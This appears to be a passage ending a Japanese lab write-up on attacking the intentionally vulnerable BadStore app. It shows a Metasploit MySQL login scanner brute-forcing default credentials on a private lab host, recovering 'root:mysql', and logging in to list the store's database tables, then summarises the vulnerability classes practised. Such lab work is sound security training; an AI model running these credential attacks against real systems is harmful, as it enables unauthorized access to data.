  | |^^^^^^^^^^^^^^|l___      |      /    _||__   \       |
  | |    PAYLOAD     |""\___, |     /    (_||_     \      |
  | |________________|__|)__| |    |     __||_)     |     |
  | |(@)(@)"""**|(@)(@)**|(@) |    "       ||       "     |
  |  = = = = = = = = = = = =  |     '--------------'      |
  +---------------------------+---------------------------+


       =[ metasploit v4.16.48-dev                         ]
+ -- --=[ 1749 exploits - 1002 auxiliary - 302 post       ]
+ -- --=[ 536 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use auxiliary/scanner/mysql/mysql_login 
msf auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.11.6
RHOSTS => 192.168.11.6
msf auxiliary(scanner/mysql/mysql_login) > set USERPASS_FILE /root/Downloads/SecLists/Passwords/Default-Credentials/mysql-betterdefaultpasslist-space.txt
USERPASS_FILE => /root/Downloads/SecLists/Passwords/Default-Credentials/mysql-betterdefaultpasslist-space.txt
msf auxiliary(scanner/mysql/mysql_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf auxiliary(scanner/mysql/mysql_login) > show options 

Module options (auxiliary/scanner/mysql/mysql_login):

   Name              Current Setting                                                                               Required  Description
   ----              ---------------                                                                               --------  -----------
   BLANK_PASSWORDS   false                                                                                         no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                                                                             yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false                                                                                         no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                                                                         no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                                                                         no        Add all users in the current database to the list
   PASSWORD                                                                                                        no        A specific password to authenticate with
   PASS_FILE                                                                                                       no        File containing passwords, one per line
   Proxies                                                                                                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS            192.168.11.6                                                                                  yes       The target address range or CIDR identifier
   RPORT             3306                                                                                          yes       The target port (TCP)
   STOP_ON_SUCCESS   true                                                                                          yes       Stop guessing when a credential works for a host
   THREADS           1                                                                                             yes       The number of concurrent threads
   USERNAME                                                                                                        no        A specific username to authenticate as
   USERPASS_FILE     /root/Downloads/SecLists/Passwords/Default-Credentials/mysql-betterdefaultpasslist-space.txt  no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false                                                                                         no        Try the username as the password for all users
   USER_FILE                                                                                                       no        File containing usernames, one per line
   VERBOSE           true                                                                                          yes       Whether to print output for all attempts

msf auxiliary(scanner/mysql/mysql_login) > run

[+] 192.168.11.6:3306     - 192.168.11.6:3306 - Found remote MySQL version 4.1.7
[+] 192.168.11.6:3306     - 192.168.11.6:3306 - Success: 'root:mysql'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

ログインしてみる

# mysql -h 192.168.11.6 -u root -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 610
Server version: 4.1.7-standard

Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
+------------+
| Database   |
+------------+
| badstoredb |
+------------+
1 row in set (0.00 sec)

MySQL [(none)]> use badstoredb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [badstoredb]> show tables;
+----------------------+
| Tables_in_badstoredb |
+----------------------+
| acctdb               |
| itemdb               |
| orderdb              |
| userdb               |
+----------------------+
4 rows in set (0.01 sec)

総括

BadStore自体が相当古いため、ちょっとあれな感じはしたが、基本的な脆弱性調査の練習をするには結構良かったと思う。

  • SQLi
  • XSS
  • アクセス権限不備
  • 脆弱なパスワード
  • 不要なディレクトリの公開
  • 不正なパラメータ操作
  • CSRF